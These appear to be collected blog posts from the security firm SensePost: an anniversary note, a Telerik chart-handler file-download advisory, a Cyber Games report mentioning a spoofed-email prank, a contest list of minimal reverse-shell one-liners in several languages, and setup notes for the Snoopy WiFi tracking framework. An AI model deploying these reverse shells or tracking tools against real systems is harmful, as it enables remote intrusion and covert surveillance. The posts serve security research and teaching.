Today was our 13th birthday. In Internet years, that's a long time. Depending on your outlook, we're either almost a pensioner or just started our troublesome teens. We'd like to think it's somewhere in the middle. The Internet has changed lots from when SensePost was first started on the 14th February 2000. Our first year saw the infamous ILOVEYOU worm wreak havoc across the net, and we learned some, lessons on vulnerability disclosure, a year later we moved on to papers about "SQL insertion" and advanced trojans. And the research continues today.

We've published a few tools along the way, presented some (we think) cool ideas and were lucky enough to have spent the past decade training thousands of people in the art of hacking. Most importantly, we made some great friends in this community of ours. It has been a cool adventure, and indeed still very much is, for everyone who's has the pleasure of calling themselves a Plak'er. Ex-plakkers have gone on to do more great things and branch out into new spaces. Current Plakkers are still doing cool things too!

But reminiscing isn't complete without some pictures to remind you just how much hair some people had, and just how little some people's work habit's have changed. Not to mention the now questionable fashion.

Fast forward thirteen years, the offices are fancier and the plakkers have become easier on the eye, but the hacking is still as sweet.

As we move into our teenage years (or statesman ship depending on your view), we aren't standing still or slowing down. The team has grown; we now have ten different nationalities in the team, are capable of having a conversation in over 15 languages, and have developed incredible foos ball skills.

This week, we marked another special occasion for us at SensePost: the opening of our first London office in the trendy Hackney area (it has "hack" in it, and is down the road from Google, fancy eh?). We've been operating in the UK for some time, but decided to put down some roots with our growing clan this side of the pond.

And we still love our clients, they made us who we are, and still do. Last month alone, the team was in eight different countries doing what they do best.

But with all the change we are still the same SensePost at heart. Thank you for reminiscing with us on our birthday. Here's to another thirteen years of hacking stuff, having fun and making friends.

ASP.NET HttpHandlers are interesting components of a .NET web application when performing security assessments, mainly due to the fact they are the most exposed part of the application processing client requests in HttpContext level and at the same time, not yet part of the official ASP.NET framework.

As a result, data validation vulnerabilities in custom HttpHandlers can be exploited far easier than issues on the inner layer components. However, they are mostly overlooked during the web application tests for two reasons:

1. They are used by a 3rd party component of a target application and often the auditor wants to focus on the main functions of the application


2. They often are found performing such operations as displaying an icon file or chart from image cache. This is deemed useless during an assessment.

In this post, I'm going to demonstrate a data validation vulnerability in a custom HttpHandler which is used by a number of well known ASP.NET apps such as DotNetNuke CMS and was not fixed by the vendor until 2012/3. We still come across web applications that use this vulnerable component, so thought it useful that we document this vulnerability in the Telerik ASP.NET UI Control, which could allow a remote user to download and remove files from the web server under application's pool permission.

If you are using any of the Telerik components in your application, make sure to replace the "Telerik.Web.UI.dll" with the latest version (about 9MB!).

Vulnerability details:

The Telerik UI control has a web-based charts feature, which stores rendered graphic files in a cache folder for performance reasons. It registers a custom HttpHandler in the web.config file, which processes the following GET request and displays the chart in the client browser:

http://site/ChartImage.axd?useSession=false&imageFormat=image/png&ImageName=[base64 encoded value]

The next step is to decompile the code of the ChartHttpHandler.ProcessRequest(HttpContext), which gives us:

Although, the ImageName query string parameter is encrypted using an AES algorithm to prevent tampering, the encryption key and initialization vector are embedded in the application's assembly (Telerik.Web.UI.dll) and can be used to construct malicious requests to download files from the remote server, as shown in the following figure:

All versions up to and including 2011.2.915.35 are vulnerable. I've created a proof of concept that can be downloaded here . Please note that the target file will be deleted from the web server by the chart image handler after being downloaded from the server, as it considers the requested file as an expired cache entry.

Next time you are on an assessment, don't overlook the mundane and not-so-interesting parts of the application, as they can often provide you with an additional attack surface area.

The Council for Scientific and Industrial Research (CSIR) recently hosted the nation Cyber Games Challenge as part of Cyber Security Awareness month. The challenge pit teams of 4-5 members from different institutes against each other in a Capture the Flag style contest. In total there were seven teams, with two teams from Rhodes university, two from the University of Pretoria and three teams from the CSIR.

The games were designed around an attack/defence scenario, where teams would be given identical infrastructure which they could then patch against vulnerabilities and at the same time identify possible attack vectors to use against rival teams. After the initial reconnaissance phase teams were expected to conduct a basic forensic investigation to find 'flags' hidden throughout their systems. These 'flags' were hidden in images, pcap files, alternative data streams and in plain sight.

It was planned that teams would then be given access to a few web servers to attack and deface, gain root, patch and do other fun things to. Once this phase was complete the system would be opened up and the 'free-for-all' phase would see teams attacking each others systems. Teams would lose points for each service that was rendered inaccessible. Unfortunately due to technical difficulties the competition did not go as smoothly as initially planned. Once the games started the main website was rendered unusable almost immediately due to teams DirBuster to enumerate the competition scoring system. The offending teams were asked to cease their actions and the games proceeding from there. Two teams were disqualified after not ceasing their attacks on official infrastructure. Once teams tried to access their virtual infrastructure new problems arose, with only the two teams from Rhodes being able to access the ESX server while the rest of the teams based at the CSIR had no connectivity. This was rectified, at a cost, resulting in all teams except for the two Rhodes teams having access to their infrastructure. After a few hours of struggle it was decided to scrap the attack/defence part of the challenge. Teams were awarded points for finding hidden flags, with the most basic flag involving 'decoding' a morse-code pattern or a phrase 'encrypted' using a quadratic equation. It was unfortunate that the virtual infrastructure did not work as planned as this was to be the main focus of the games and sadly without it many teams were left with very little to do in the time between new 'flag' challenges being released.

In the days prior to the challenge our team, team Blitzkrieg, decided to conduct a social engineering exercise. We expected this to add to the spirit of the games and to introduce a little friendly rivalry between the teams prior to the games commencing. A quick google search for "CSIR Cyber Games" revealed a misconfigured cyber games server that had been left exposed on a public interface. Scrapping this page for information allowed us to create a fake Cyber Games site. A fake Twitter account was created on behalf of the CSIR Cyber Games organisers and used to tweet little titbits of disinformation. Once we had set-up our fake site and twitter account, a spoofed email in the name of the games organiser was sent out to all the team captains. Teams were invited to follow our fake user on twitter and to register on our cyber games page. Unfortunately this exercise did not go down too well with the games organisers and our team was threatened with disqualification or starting the games on negative points. In hindsight we should have run this by the organisers first to insure that it was within scope. After the incident we engaged with the organisers to explain our position and intentions, they were very understanding and decided to not disqualify us and waver any point based penalty. As part of our apology, we agreed to submit a few challenges for next years Cyber Games.

Overall we believe concept of using structured Cyber Games to promote security awareness is both fun and useful. While the games were hampered by network issues there was enough content available to make for an entertaining and exciting afternoon. The rush of solving challenges as fast as possible and everyone communicating ideas made for an epic day. In closing, the CSIR Cyber Games was a success, as with all things we believe it will improve over time and provide a good platform to promote security awareness.

For the defacement phase of the games we made a old school defacement page.

For our internal hackathon, we wanted to produce some shirts. We ran a competition to see who could produce a reverse shell invocation most worthy of inclusion on a shirt. Here are the submissions, which may be instructive or useful. But first; the winning t-shirt design goes to Vlad (-islav, baby don't hurt me, don't hurt me, no more):

Funny story; the printer left out the decimal points between the IP, so we had to use a permanent marker to put them back. Oh, also, many of these were originally taken from somewhere else then modified, we don't claim the full idea as our own. Anyway, onto the shells!

Netcat — 18 chars

nc -e sh 1.0.0.1 1

Requires nc with -e support (unlikely to be on remote box by default).

Bash — 27 chars

sh>&/dev/tcp/1.0.0.1/8 0>&1

Requires bash with /dev/tcp support, not always there (e.g. RHEL). Vlad's winning contribution.

Telnet — 37 chars

mkfifo x&&telnet 1.0.0.1 8 0<x|sh 1>x

Will work on most systems, can replace telnet with nc to get 33 chars.

PHP — 56 chars

<?php $s=fsockopen("1.0.0.1",8);exec("sh<&3>&3 2>&3");?>

Requires PHP CLI. This one from Rogan.

Ruby — 73 chars

f=TCPSocket.open("1.0.0.1",8).to_i
exec sprintf("sh<&%d>&%d 2>&%d",f,f,f)

Need to invoke this with

ruby -rsocket small-rev.rb

which is a bit of a cheat for size. This was also taken from pentestmonkey

Python — 155 chars

import socket as x,os

s=x.socket(2,1)

s.connect(("1.0.0.1",8))

d=os.dup2

f=s.fileno()

d(f,0)

d(f,1)

os.system("sh")

This assumes you use unix line breaks. My personal favourite.

Perl - 121 chars

$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"1.0.0.1:8");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

Invoke with

perl -MIO small-rev.pl

Elf - 133 chars

ELF


???????????
???T€4???????????4? ?
???????
????????€?€� ??? �?????????1ÛSCSjjfX‰áÍ€—[h??
fh �fS‰ájfXPQW‰áCÍ€[™ �
[more]


  

We blogged a little while back about the Snoopy demonstration given at 44Con London. A similar talk was given at ZaCon in South Africa. Whilst we've been promising a release for a while now, we wanted to make sure all the components were functioning as expected and easy to use. After an army of hundreds had tested it (ok, just a few), you may now obtain a copy of Snoopy from here. Below are some instructions on getting it running (check out the README file from the installer for additional info).

Remind me what Snoopy is?
Snoopy is a distributed tracking, data interception, and profiling framework.

Requirements
-Ubuntu 12.04 LTS 32bit online server
-One or more Linux based client devices with internet connectivity and a WiFi device supporting injection drivers. We'd recommend the Nokia N900.
-A copy of Maltego Radium

Installation
After obtaining a copy from github run the install.sh script. You will be prompted to enter a username to use for Snoopy (default is 'woodstock') and to supply your public IP address. This is depicted below:

This installation will take around 3-5 minutes. At the end of the installation you will be presented with a randomly generated password for the web interface login. Remember it. You may now run the server component with the command snoopy, and you will be presented with the server main menu, as depicted below.

Selecting the 'Manage drone configuration packs' menu option will allow you to create custom installation packs for all of your drone devices. You will be presented with download links for these packs, such that you can download the software to your drones.

From your drone device download and extract the file from given link. Run setup_linux.sh or setup_n900.sh depending on your drone.

All collected probe data gets uploaded to the Snoopy server every 30 seconds. All associated clients have their internet routed through the server over OpenVPN. If you so desire, you can explore the MySQL database 'snoopy' to see this raw data. Graphical data exploration is more fun though.

Using Maltego
In the Snoopy server menu select 'Configure server options' > 'List Maltego transform URLs'. This will give URLs to download Maltego Snoopy entities and machines, as well as a list of TDS transform URLs. You will need to download and add the entities and machines to your local Maltego installation, and add the transform URLs to your Maltego TDS account (https://cetas.paterva.com/tds). This is depicted below.

We can explore data my dragging the 'Snoopy' entity onto the canvas. This entity has two useful properties - 'start_time' and 'end_time'. If these are left blank Snoopy will run in 'real time' mode - that is to say displaying data from the last 5 minutes (variable can be set in server configuration menu). This time value will be 'inherited' by entities created from this point. The transforms should be obvious to explore, but below are some examples (further examples were in the original blog post).

I shall write a separate blog post detailing all the transforms. For now, enjoy playing around.

Web Interface
You can access the web interface via http://yoursnoopyserver:5000/. You can write your own data exploration plugins. Check the Appendix of the README file for more info on that.